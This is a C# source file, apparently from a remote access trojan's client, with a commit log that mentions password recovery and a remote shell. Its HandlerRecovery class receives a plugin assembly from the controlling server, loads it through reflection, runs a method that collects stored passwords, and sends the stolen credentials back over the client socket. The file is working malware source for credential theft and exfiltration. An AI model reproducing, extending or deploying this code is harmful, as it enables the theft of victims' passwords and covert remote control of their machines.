NYAN CAT f75229df31 Update
[]Updated password recovery - thanks to @thi67
[]Compiled files will be written in /Binaries/ - thanks to @MrDevBot
[]Fixed ping
[]Added remote shell
[]Added chat
[]Minor bugs fixed
2019-05-18 23:51:48 +03:00

33 lines
1.0 KiB
C#

using Client.MessagePack;
using Client.Sockets;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Text;
using System.Diagnostics;
namespace Client.Handle_Packet
{
public class HandlerRecovery
{
public HandlerRecovery(MsgPack unpack_msgpack)
{
try
{
Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes());
MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Plg");
object InjObj = loader.CreateInstance(meth.Name);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";
msgpack.ForcePathObject("Password").AsString = (string)meth.Invoke(InjObj, null);
ClientSocket.Send(msgpack.Encode2Bytes());
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
return;
}
}
}